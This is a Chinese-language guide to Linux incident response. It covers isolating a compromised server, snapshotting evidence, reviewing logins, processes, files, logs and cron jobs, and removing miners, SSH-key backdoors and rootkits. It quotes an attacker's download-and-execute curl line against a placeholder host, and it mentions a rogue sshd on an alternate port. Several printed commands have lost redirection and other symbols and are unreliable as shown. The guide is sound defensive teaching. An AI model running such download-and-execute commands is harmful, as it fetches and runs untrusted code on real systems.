资讯详情

资讯详情

Linux应急响应实战指南:从入侵排查到后门清除

刚做运维那几年我最怕半夜接到值班电话电话那头永远是同一句话“服务器不对劲你看一下。”后来处理过几次Linux应急响应之后反而镇定了不少——不是因为习惯了出事而是因为摸清了一套固定打法从隔离、取证到排查进程、分析日志、清除后门、堵住入口每一步都有章可循。这篇Linux应急响应总结就是把我这些年用下来的排查套路整理出来。它不涉及高深的内核逆向也不需要你系统学过安全课程只要你懂基本的Linux命令照着这套流程走就能在服务器被入侵之后快速判断事情有多严重、恶意程序藏在哪里、后门是通过什么途径进来的以及后续该怎么加固。适合负责生产服务器的运维同学也适合刚开始接触安全应急的开发者。先说个最重要的认知应急响应不是“赛后清理”而是“现场勘查”。很多人以为把病毒杀掉就完事了其实真正的目标有三层——止损、溯源、堵漏。止损是把正在进行的破坏停下来溯源是搞清楚入侵者从哪个口子进来的、做了什么堵漏是把那个口子彻底封死。这三层缺一不可否则今天清完明天还来你没那么多精力跟入侵者打消耗战。1. 应急响应的核心思路1.1 第一件事不是杀毒是隔离很多人拿到告警的第一反应是“赶紧把病毒杀了”这是错的。杀毒是处置阶段的动作在杀毒之前得先明确两件事一是这台机器还有没有被继续控制二是入侵者留在系统里的痕迹有没有被破坏。所以我的建议是应急响应的第一步永远是隔离。具体做法看业务情况最理想的当然是直接拔网线但生产环境往往不允许。退而求其次可以用防火墙或云安全组把受害机器的对外连接暂时切断只保留管理员登录的IP白名单。这一步的目的很单纯把入侵者的远控通道掐断防止恶意程序持续外联、扩散到同网段的其他机器同时也防止在后续排查过程中因为惊动攻击者而触发更激进的破坏行为。哪怕业务受几分钟影响也比整个内网沦陷强。还需要注意一点隔离不等于重启。很多人一发现机器不对劲本能反应是“重启试试”这是大忌。一重启内存里的恶意进程、临时文件、未落盘的日志证据全部没了而且如果入侵者做过磁盘持久化重启之后后门照样起来你还失去了唯一的现场。想判断重启之后恶意程序会不会自动启动可以查启动脚本、计划任务和自启动服务而不是真的用重启去验证。1.2 三份记录时间、现场、操作隔离之后不要急着到处点。先花几分钟做三件事这三件事做扎实了后面所有排查都会省力很多。第一记录时间线。从发现异常开始每一步操作都记录时间。什么时候收到告警、什么时候隔离、什么时候开始排查这个时间线后面比对日志、还原入侵路径时非常关键。很多日志文件没有精确到秒的关联字段只能靠时间窗口去卡没有时间线就只能瞎猜。第二保全现场信息。把系统当前的进程列表、网络连接、登录会话、计划任务、最近文件变更等关键信息先完整导出到外部存储。注意是导出到外部U盘或远端服务器不要写到受害机器的磁盘上否则很可能被后续的恶意程序覆盖或者被入侵者清理时误伤。常用的命令其实很简单就是组合输出# 现场快照建议直接在外部目标路径执行后拷贝走 ps auxf /mnt/usb/ps_$(date %s).txt ss -antp /mnt/usb/ss_$(date %s).txt last /mnt/usb/last_$(date %s).txt w /mnt/usb/w_$(date %s).txt crontab -l /mnt/usb/cron_$(date %s).txt 2/dev/null第三记录操作清单。想清楚哪些目录能碰、哪些命令会影响现场。比如touch文件会改变时间戳vim打开文件会改atime修改配置文件前最好先复制原文件。这些细节在排查时无所谓但到了需要法证级别取证的时候差一个时间戳可能就说不清了。这三份记录听起来很基础但很多老手出事的时候都会漏。我之前处理过一台机器排查到一半发现恶意程序在持续写入日志把入侵最初痕迹覆盖得差不多好在第一时间导出的进程快照还在不然连往哪个方向查都找不到线索。1.3 先定性三类常见入侵场景隔离之后别急着翻日志先花两分钟判断一下这次事件的类型。不同类型的处置策略差别很大定性定错了后面很容易白忙一场。常见的场景大概有三类挖矿木马。最典型的表现是CPU飙高、出现异常的进程名、外联地址多半是矿池。这类事件通常不会造成太大的数据破坏主要目的是“借你的服务器挖矿”处置重点是快速定位进程、清理文件、加固入口。Web后门。网站被篡改、被上传了脚本后门常见于Web应用漏洞被利用。这类事件要重点看Web日志还原攻击者是通过什么漏洞、什么路径把后门传进来的处置重点是清后门、补漏洞同时检查有没有多个后门互相备份。Rootkit或反弹shell。入侵者已经获得了shell权限甚至安装了内核级后门比如通过动态链接库劫持来隐藏进程。这类是最麻烦的光杀进程没用很可能恢复之后又回来需要结合启动项、系统文件完整性、内核模块等多个层面处置必要的时候建议直接重装系统。判断类型有个笨方法但很有效先看对外端口和连接、看CPU占用最高的进程、看最近的登录记录三个点一交叉八成能猜个大概。接下来我就按这个思路把排查过程拆开来讲。2. 系统状态快速排查2.1 登录会话与用户排查入侵者的出入记录排查Linux系统第一步先看“有哪些人进来过、现在还有谁在线”。这相当于查入侵者的出入记录。# 当前登录会话 w who # 历史登录记录 last lastb # 系统用户列表 cat /etc/passwdw和who看现在有没有可疑的在线会话尤其是你不认识的SSH连接last按月读wtmp日志能还原出一段时间内所有的成功登录记录。lastb看失败登录如果短时间内有大量失败记录说明可能被暴力破解过。cat /etc/passwd这一步重点看两类异常一是有没有新增的UID为0的用户这类用户拥有root权限二是原本不应该有shell的账户是不是被改了shell。实操中我见过很隐蔽的做法入侵者添加一个跟正常用户很像的名字比如把guests和guest这种相似命名拿来混淆光靠肉眼扫很容易漏。所以我建议排查用户时不要只看用户名要连UID、用户组、shell路径一起比对凡是异常的立刻确认来源。还有一点必须警惕登录记录是可以被清理的。last输出为空不一定代表没有人登录过反而可能是被清理过的痕迹。遇到这种情况要把登录日志本身作为取证重点来处理同时结合后面要讲的bash历史命令一起看。2.2 进程与网络连接排查揪出正在跑的“内鬼”登录记录是历史现在正在跑的东西才是当下威胁。这一步的重点是找“异常进程”和“异常外联”。# 查看所有进程及父子关系 ps auxf # 按CPU使用率排序 top -c # 查看TCP监听和连接 ss -antp # 查看某个PID打开的文件 lsof -p PIDps auxf带进程树能看出父子关系这很重要。最可疑的是名字很怪、PID很小却启动很早、跟正常进程重名但路径不对、CPU占用异常的进程。top按CPU排序是找挖矿木马的常规手段但要注意一种情况top里看不到可疑进程CPU却明显跑满这多半是进程被rootkit隐藏了需要进一步比对ls /proc的实际进程号和top显示的内容或者检查/etc/ld.so.preload这类劫持文件。ss -antp看网络连接重点看两类一是外联到未知IP的ESTABLISHED连接二是奇怪端口上的监听服务。很多恶意程序会通过反弹shell回连攻击者服务器这类连接的特征是源端口随机、目标IP固定、连接的进程名很怪或者干脆不显示。这里要特别说明一个坑SSH的软链接进程。入侵者可以通过sshd -oPort22222启动一个新的SSH监听而且这个进程在ps里看起来跟正常sshd几乎一样唯一的区别是父进程PID不对。所以排查时要养成看进程父子关系的习惯不要只盯着进程名否则很容易漏掉这种“李鬼”后门。2.3 文件系统异常排查恶意文件躲在哪里进程和连接确认了接下来要处理“藏起来的文件”。入侵者的恶意程序、脚本、工具最终都得落在磁盘上找出来是清除的关键一步。# 最近三天内修改过的文件 find / -mtime -3 -type f 2/dev/null | grep -Ev ^(/proc|/sys) # 已删除但仍被进程占用的文件 lsof | grep deleted # 高危目录 ls -al /tmp /var/tmp /dev/shm # 查看文件时间戳 stat 文件名find -mtime -3是排查新落盘文件的第一利器。入侵者通常攻进来之后的一小段时间内上传工具关注这个时间窗口内的新增和修改文件命中率很高。/tmp、/var/tmp、/dev/shm这三个目录是恶意程序的高频藏身处权限宽松、不易被管理员关注每次排查我都必查。lsof | grep deleted也很关键很多恶意程序会边跑边删除自身文件但进程还在内存里这种很容易漏查到之后可以先导出文件内容再杀掉进程。文件系统排查有个大原则先看时间窗口再看目录最后做全局扫描。没有目标地乱搜会把时间耗光而且全局搜索会产生大量IO生产高峰期可能误伤业务。用find查完重点目录之后如果还没有头绪再考虑全盘检索。3. 日志分析与痕迹追踪3.1 登录日志三条线索交叉验证日志是还原入侵路径最可靠的依据。先看登录相关的三个文件它们的优先级和字段各有不同日志文件作用关键字段/var/log/secure记录认证信息包括成功、失败、SSH密钥操作时间、IP、登录方式、用户名/var/log/wtmp登录/登出/重启记录last的数据来源登录时间、来源、时长/var/log/btmp失败登录记录lastb的数据来源失败尝试的IP与时间排查思路是交叉验证secure里某个IP成功登录过一次wtmp里也出现了同一条记录而passwd里恰好有个对应的新用户三条线一吻合基本坐实了。注意时间要结合时区换算很多服务器默认是UTC时间跟你的北京时间差8小时肉眼比对时要小心。最关键的一句话先备份日志再分析日志。用cp -a把日志原样复制出来不要直接在原文件上操作。因为你排查时打开的、读取的任何东西都可能被入侵者预置的脚本盯上万一你动了一下原文件时间戳变了后面跟别人复盘时会被质疑现场被污染。日志分析本身不复杂就是grep加时间窗口但备份这个动作做不做决定了你后续追责和溯源的底气。3.2 历史命令与计划任务入侵者留下的“作案记录”除了登录另一个高价值痕迹是shell历史命令。入侵者通过shell执行过的操作大多会留在历史记录里。# root用户历史命令 cat /root/.bash_history # 其他用户历史命令 cat /home/*/.bash_history # 计划任务 crontab -l cat /etc/crontab ls -la /var/spool/cron/ # systemd定时器 systemctl list-timers看历史命令有个实用技巧不要只看单条命令要把命令和上下文连起来理解。比如看到一条curl http://xxx -o /tmp/xx chmod x /tmp/xx /tmp/xx这几乎就是完整攻击链的证据——下载、提权、执行。顺着这个URL和文件名后面的文件清除和入口修复就都很清晰了。如果发现历史命令里有人执行过useradd、passwd那就得回头重点检查用户列表。计划任务是入侵者最常用的持久化方式之一。很多挖矿木马靠计划任务“起死回生”你杀掉进程、删掉文件结果几分钟后它又通过cron把脚本重新拉起来。所以清完恶意文件之后计划任务、systemd定时器、rc.local这些开机启动地方必须全部复查一遍不检查干净就等于白干。3.3 Web日志与攻击路径还原如果受害服务器是Web业务那么Web日志是回答“后门从哪进来的”这个问题的最好人证。Nginx的/var/log/nginx/access.log、Apache的/var/log/apache2/access.log都是排查入口的着手点。常见思路先确认后门文件的时间戳拿到入侵的时间窗口在该时间窗口内检索Web访问日志看攻击者请求的URL路径再往前追溯找到攻击链的起点比如SQL注入、任意文件上传、命令执行等漏洞利用记录。实际排查时善用grep和awk比如想找POST上传记录# 查看POST请求的来源IP、路径、状态码 grep POST access.log | awk {print $1, $7, $9} | sort | uniq -c | sort -rn # 按时间窗口过滤比如凌晨2点到3点 awk $4 02/Jan/2025:02:00:00 $4 02/Jan/2025:03:00:00 access.log拿到访问IP之后再结合登录日志、防火墙日志把攻击者的IP和行为串起来基本就能还原出完整的攻击路径。这里有个容易被忽略的点攻击者很可能不止用一个IP有些会通过代理池轮换IP所以不要只盯着一个IP要多留意相同UA、相同请求特征在不同IP之间反复出现的模式。4. 恶意程序分析与清除4.1 挖矿木马处置最常见的入侵收尾挖矿木马是当前Linux服务器最常遭遇的入侵类型特点是发现容易、清除起来也不难但反复感染很折磨人。处理步骤可以这样走第一步定位进程。ps auxf | grep -E 矿机程序特征关键字但不要只依赖关键词因为恶意程序会随机改名最好结合CPU占用和网络连接来确认。第二步确认矿池地址。ss -antp看外联IP和端口结合在线威胁情报判断是不是矿池IP段。第三步停止并删除。先kill进程再删文件。删文件的顺序也有讲究先删二进制再删配置脚本最后清理计划任务。因为有些恶意脚本会定时检查文件是否存在你凌晨删了它五点cron一跑又拉回来了。第四步检查所有持久化位置crontab -l cat /etc/crontab ls -la /var/spool/cron/ systemctl list-units --typeservice --staterunning cat /etc/rc.local第五步加固SSH和Web入口。挖矿木马最常利用的入口是弱密码SSH和未打补丁的Web服务还有中间件漏洞这类问题。如果确认是弱密码进来的立刻改密码、禁用root远程登录、开启密钥认证这些步骤做完才算真正处置结束。4.2 后门与Rootkit识别隐蔽但可查比挖矿更麻烦的是后门程序。入侵者会把后门伪装成系统服务、内核模块甚至利用动态链接库劫持实现函数级别的隐藏。对普通运维来说不要试图在“黑对黑”的竞赛中靠肉眼取胜而是用好系统自带的校验能力# RPM系校验系统文件 rpm -Va # Debian系校验系统文件 dpkg --verify # 检查动态链接库劫持 cat /etc/ld.so.preload cat /etc/ld.so.conf # 查看加载的内核模块 cat /proc/modulesrpm -Va这类命令会输出系统中所有文件与软件包原始校验值的差异如果ps、top、ls这类核心命令被报出变更那就要高度怀疑系统命令被替换了。/etc/ld.so.preload是进程伪装的重灾区很多rootkit通过它往所有进程里注入劫持库让ps和top输出虚假信息。如果发现这个文件里有不认识的内容基本可以断定系统被装上了内核级的隐藏工具。如果确认存在内核级rootkit普通清除手段大多无效。我的建议是备份数据、重装系统。别为了“保住面子”去硬清清不干净后面就是无穷无尽的返工。业务数据能保住系统重装反而是成本最低的选择这个判断一定要果断。4.3 清除之后别急着上线很多人千辛万苦清完了病毒松了一口气直接把业务切回来这是最常见的“二次翻车”现场。清除之后至少再守24小时期间做三件事第一持续观察是否有异常进程重新出现、异常外联是否再发生。可以写个简单的循环脚本每隔几分钟抓一次进程和网络连接快照。第二复查所有后门痕迹特别要查/root/.ssh/authorized_keys有没有多出陌生的公钥——这是SSH后门里最隐蔽也最致命的一种入侵者拿到了公钥等于永远保留了一个进入系统的通道跟你改密码没有关系。第三对确认的漏洞入口做修复改密码、打补丁、限制访问来源入口不堵住前面做的清理都是无用功。守夜之后才算真正处置完成。这个“守夜”环节是很多人忽略的但它恰恰是检验清除是否彻底的最佳方式。5. 常见问题与排查技巧实录5.1 常见问题速查表问题现象排查方向处置建议CPU持续100%但top看不到异常进程怀疑进程隐藏、rootkit劫持用ls /proc与ps比对查/etc/ld.so.preload对外连接异常但本地监听正常怀疑反弹shell、定时外联用ss -antp持续观察配合防火墙抓包确认目标IP删除恶意文件后自动恢复有持久化机制在反复拉取检查计划任务、systemd定时器、rc.local、web服务目录authorized_keys出现陌生公钥SSH密钥后门立即移除未知公钥重启sshd撤销被植入公钥的用户权限Web业务变慢但系统资源正常怀疑Webshell或恶意爬虫分析Web日志查上传目录和最近修改的脚本文件系统日志突然消失或内容被改写入侵者清理痕迹检查/var/log是否有异常文件必要时从备份还原日志5.2 三个独家避坑技巧第一永远不要先重启机器。这个前面已经反复强调但值得再提醒一次想验证某个启动项是不是恶意程序请通过查看配置来判断而不是拿生产服务器去做实验。一次重启可能把内存里唯一还在运行的恶意进程样本弄丢也把入侵者的提权路径从日志里抹掉。第二排查时要养成“先复制再分析”的习惯。所有要看的日志、配置、恶意文件样本先复制一份到外部存储再动手分析。你永远不知道哪个文件被入侵者做过手脚比如改过的grep可能过滤掉它自己的特征改过的ps可能隐藏它的进程。用干净的系统工具配合独立分析环境比直接在受害机器上挣扎要靠谱得多。第三保留证据至少三个月。提取的日志、进程快照、恶意文件样本哪怕当时用不上也建议打包压缩、标注时间、妥善保存。因为入侵者很可能不只来一次或者漏洞不止被利用一次。事后复盘时这些证据能帮你把整条攻击链重新走一遍也能在跟同事、上级说明情况时提供确凿依据。我已经不止一次遇到“一个月后领导问起上次入侵到底是什么原因”的情况还好证据都在两三分钟就能把完整过程翻出来。5.3 一个典型排查过程回顾最后用一个虚构的模拟场景把上面的流程完整串一遍。某天凌晨收到告警一台业务服务器CPU跑满。登录上去先用w确认当前在线会话只有管理员自己再用top -c按CPU排序看到一个进程占用接近400%。ss -antp显示这个进程连接到了一个陌生IPls -l /proc/进程PID/exe发现可执行文件在/tmp目录下文件名是随机字符串。顺着PID打开进程引用的脚本发现里面写着挖矿程序的下载和执行命令还向cron写入了定时任务。然后按流程处置先备份进程快照和脚本样本再kill进程删除/tmp下的恶意文件清理计划任务检查authorized_keys修改服务器所有账户的登录密码封禁来源IP。之后连续观察24小时没有复发。整个过程没有任何复杂的技巧核心就是按部就班地执行标准流程每一步都不跳过。真实环境里遇到的情况可能更曲折比如多个后门互相备份、或者攻击者分批入侵了同网段多台机器但只要这套基础流程走得扎实大部分问题都能被定位到。我在实际处理中最大的体会是应急响应做得好不好不看你用了多少高级工具而看两点——能否迅速把损失控制在最小范围能否从一次事件里学到教训、把下次被入侵的路堵死。网上流传的各种检查清单很多但落到自己机器上还是要根据业务暴露面去调整排查顺序和重点。平时找几台测试机演练几次把命令敲熟练把日志文件的位置记清楚真正出事的时候才能做到手不抖、心不慌。
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →